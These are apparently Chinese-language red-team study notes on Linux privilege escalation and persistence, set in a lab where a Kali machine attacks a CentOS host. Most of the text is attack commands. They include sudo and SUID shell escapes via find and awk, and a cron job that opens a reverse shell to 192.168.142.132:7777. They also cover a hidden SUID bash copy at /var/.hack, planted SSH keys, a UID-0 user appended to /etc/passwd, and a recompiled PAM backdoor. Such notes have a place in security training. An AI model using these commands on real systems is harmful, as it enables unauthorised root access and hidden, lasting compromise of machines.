Linux权限提升与维持

Linux权限提升(Privilege Escalation)

1、内核漏洞提权

Linux内核版本:

https://www.kernel.org

CVE内核漏洞:

https://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33

2、内核漏洞

Dirty COW (CVE-2016-5195)

Dirty Pipe (CVE-2022-0847)

Dirty Cred (CVE-2022-2588)

Linux Polkit (CVE-2021-4034)

Linux查看发行版本和内核版本:

命令:uname -a (查看centos内核版本)

用kali中的msfconsole版本漏洞查询

例子:searchsploit ubuntu 16.04

用find / -name "xxx"找文件

例子:find / -name "40871.c"

2、SUDO提权

SUDO=Super User Do(以root身份运行程序)

配置文件:/etc/sudoers

编辑方法(root):visudo

用户或用户组 提权到什么级别

​ wuya ALL = (root) NOPASSWD:/bin/chown,/usr/sbin/useradd

​ 在哪些主机上 是否需要输入密码

创建一个组:groupadd security

在security组中创建一个用户:useradd -g security yyy

给yyy用户设置密码:passwd yyy

用户文件:/etc/passwd

密码文件:/etc/shadow

给yyy用户授权:visudo里面去添加yyy ALL=ALL ALL

yyy用户需要用sudo加命令才能执行

提权命令:

查看当前用户有哪些sudo权限:sudo -l

SUDO使用:

(1)sudo passwd root

(2)sudo service ssh restart

相关命令:

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp

(1)sudo find /home -exec /bin/bash ;注意bash后面有一个空格

(2)sudo awk 'BEGIN{system("/bin/bash")}'

3、SUID提权

SUID=Set UID

(以程序所有者身份运行程序)

例如:普通用户怎么修改/etc/shadow中的密码?

因为/usr/bin/passwd文件有s权限。而拥有s权限的文件任何用户都可以以文件所有者身份运行程序。

给文件加s权限的代码:chmod u+s /usr/bin/find

find 1.txt -exec whoami ;

sudo find . -exec /bin/sh ;

常见的SUID提权文件:

nmap、vim、find、more、less、bash、cp、nano、mv、awk、man、weget

搜索有s权限的程序(不同平台):

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -print 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

3、第三方服务提权

Redis、NFS、MySQL、Docker、Git....

4、提权辅助脚本

Linux-exploit-suggester

https://github.com/mzet-/linux-exploit-suggester

chmod +x linux-exploit-suggester.sh

./linux-exploit-suggester.sh

https://github.com/jondonas/linux-exploit-suggester-2

chmod +x linux-exploit-suggester-2.pl

perl linux-exploit-suggester-2.pl

LinEnum

https://github.com/rebootuser/LinEnum

chmod +x /tmp/linEnum.sh

sh /tmp/LinEnum.sh > /tmp/getinfo.txt

Linux权限维持

1、在电脑上保留webshell以便以后连接
2、定时任务

​ crontab -e 打开定时任务文件bash

​ crontab -u root -r 删除

​ crontab -u root -l 查看

​ crontab -u root -e 修改

测试

kali中监听7777端口:nc -lvvp 7777

CentOS写入任务:

* * * * * bash -i >& /dev/tcp/192.168.142.132/7777 0>&1
3、SUID后门

root用户:

cp /bin/bash /var/.hack

chmod 4775 /var/.hack

ls -al /var/.hack

普通用户:

/var/.hack -p

4、SSH Key免密登录

生成和查看(kali攻击机):

ssh-keygen -t rsa

cd /root/.ssh

cat id_rsa.pub

写入(CentOS服务机):

vim /root/.ssh/authorized_keys

kali连接CentOS:

ssh [email protected]

5、添加用户

生成密码:

openssl passwd -1 -salt admin 123456

-1的意思是使用md5crypt加密算法

-salt 指定盐为admin

追加(UID=0):

echo 'admin:xxx:0:0::/root:/bin/bash' >> /etc/passwd

kali连接:

ssh [email protected]

6、PAM后门(先做快照)

下载编译

rpm -qa|grep pam

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

tar -zxvf Linux-PAM-1.1.8.tar.gz

yum install gcc flex flex-devel -y

cd Linux-PAM-1.1.8

vim modules/pam_unix/pam_unix_auth.c

./configure

make

备份替换

cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp

cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

登录测试

ssh [email protected]

7、其他后门

红队实战攻防技术分享:Linux后门总结

https://mp.weixin.qq.com/s/B5cam9QN8eDHFuaFjBD34Q

03-26 19:42